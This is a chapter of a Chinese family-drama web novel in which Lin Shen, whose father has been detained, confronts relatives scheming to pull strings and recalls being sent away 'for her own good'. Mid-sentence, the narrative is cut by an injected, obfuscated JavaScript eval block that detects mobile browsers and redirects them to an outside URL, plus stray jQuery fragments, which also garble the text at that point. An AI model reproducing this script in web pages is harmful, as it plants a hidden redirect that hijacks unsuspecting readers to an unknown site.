父亲出事后的第一个星期，亲戚来得比快递还勤。最开始是电话，后来变成上门，再后来干脆连招呼都不打，直接来。林深有时候下班回家，一开门就能看见客厅里坐着人——有时候是大伯，有时候是小叔，有时候是几个她叫不上名字的远房亲戚。茶几上的烟灰缸永远是满的，热水壶永远是开的。所有人都很忙，忙着打电话，忙着找关系，忙着出主意，忙着告诉别人自己有办法。父亲出事以后，好像全世界突然都认识人了。
晚上八点，林深刚回家，推开门又看见大伯坐在沙发上。她脚步顿了一下，没说话，径直往自己房间走。
“林深。”大伯忽然叫住她。
她停下来：“有事？”
“过来坐会儿。”
“累了。”
“就说两句。”
林深站在那里没动。母亲从厨房出来：“坐一下吧。”她看了母亲一眼，最终还是坐下了。
茶几上放着几张纸，还有一本笔记本，上面密密麻麻记满名字、电话号码、日期、备注，像一本作战计划。大伯翻开其中一页，神情认真得像在开会：“我今天又问到一个人。”
母亲立刻抬头：“怎么样？”
“听说能接触到里面的情况。”
“真的？”
“应该可以。”
又是应该。林深已经数不清这是第几个应该。大伯继续说：“不过得托人。”“怎么托？”“先吃顿饭。”“然后呢？”“再看情况。”“要多少钱？”“暂时不知道。”母亲点点头，像是在认真记笔记。林深忽然觉得荒谬，因为从头到尾没有一个人说出具体名字，没有一个人说出具体身份，没有一个人说出具体办法。所有事情都模糊得像雾，可所有人都表现得特别有把握。
小叔坐在旁边抽烟，忽然说：“你爸这些年帮了那么多人，现在出事了，总不能没人管。”旁边立刻有人附和：“对，做人得讲良心，谁家没受过他的帮助，现在正是需要大家的时候。”林深坐在那里一句话都没说。不知道为什么，她忽然想笑——如果真这么讲良心，为什么父亲出事以后大家第一件事不是想办法，而是算关系、算门路、算钱。
客厅里还在讨论，声音越来越杂。林深有些烦，她起身准备回房间。大伯忽然又开口：“你是不是不相信我们？”
空气一下安静下来，所有人都看向她。林深停住脚步：“我为什么要相信？”
大伯愣了一下，大概没想到她会直接说出来：“我们都是一家人。”
“一家人？”林深笑了一下，笑意却没到眼底。
没人说话。母亲皱了皱眉：“林深。”她没有理会，只是看着大伯，看着这些坐在客厅里的亲戚，忽然觉得熟悉，特别熟悉。很多年前也是这样，一群人坐在一起，讨论，决定，安排。没有人问她愿不愿意，也没有人在意她怎么想。他们总有自己的道理，总有自己的理由，总有一句：为了你好。
大伯脸色有些不好看：“你还记着以前的事？”
客厅忽然安静下来。母亲握着杯子的手停住了，小叔把烟掐灭，没人说话。林深看着他们，忽然觉得有些可笑——原来他们都记得，她以为只有自己记得。
“为什么不记得？”她问。
没人回答。大伯沉默了一会儿，才说：“那时候大家也是为你好。”
来了，又是这句话。林深忽然觉得胸口堵得厉害，像很多年前那个下午又回来了——院子里站满人，楼下站满人，所有人都说是为她好，所有人都觉得自己没错。
“为我好？”她看着大伯，声音很轻，“把我送去那个地方，也是为我好？”
大伯张了张嘴，没说出话。母亲低下头，没有看她。客厅安静得可怕，连钟表走动的声音都能听见。过了很久，大伯才说：“事情都过去那么多年了，对你爸重要，还是这些旧事重要？”
林深忽然不想说话了。因为她发现，有些人永远不会觉得自己错，他们只会觉得你记仇。她站起来：“你们聊吧。”然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691746|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
转身回房间。
门关上的瞬间，外面的声音被隔开了一半，却没有完全消失。她坐在床边，听见客厅里又开始讨论——讨论关系，讨论门路，讨论钱——仿佛刚刚什么都没发生。
手机震了一下，是陆沉：“什么时候回来？”林深盯着那条消息，很久没回复。窗外已经黑了，房间里没开灯，她忽然觉得很累，一种从骨头里冒出来的疲惫。这些年她一直以为自己已经走出来了，走出了那个院子，走出了那段日子，走出了那些人。可父亲一出事，他们又全部回来了，像从来没有离开过。
晚上十点，林深从房间出来，客厅里的人终于走了，只剩母亲一个人。茶几上摆着几个空茶杯，烟灰缸满得快溢出来。母亲靠在沙发上，像突然老了很多。
“他们走了？”
“嗯。”
“又说什么了？”
母亲沉默了一会儿：“还是那些。”
林深点点头，没有继续问，她已经猜到了。母亲忽然开口：“你大伯他们也是着急。”
“我知道。”
“他们不是坏人。”
林深没有说话。过了很久，才轻轻笑了一下：“妈。”
“嗯？”
“我也没说他们是坏人。”
母亲愣了一下，抬头看她。林深站在客厅里，看着父亲平时坐的位置，那个位置还是空的，已经空了一个星期。她忽然发现自己真正讨厌的可能不是这些亲戚，而是他们每次出现都会让她想起很多不愿意想起的东西——那些被关起来的日子，那些没有打开的门，那些说着为你好的人，还有那个一直站在人群外面不知道该往哪里走的小孩。
母亲顺着她的目光看过去，也看见了那个空位置。两个人都没有说话。窗外不知道什么时候开始下雨，雨点敲在玻璃上发出细碎的声音。林深走过去，把父亲常坐的那把椅子轻轻推回原位，椅脚摩擦地面发出轻微的声响，然后重新安静下来。好像有人回来过，又好像从来没有离开过。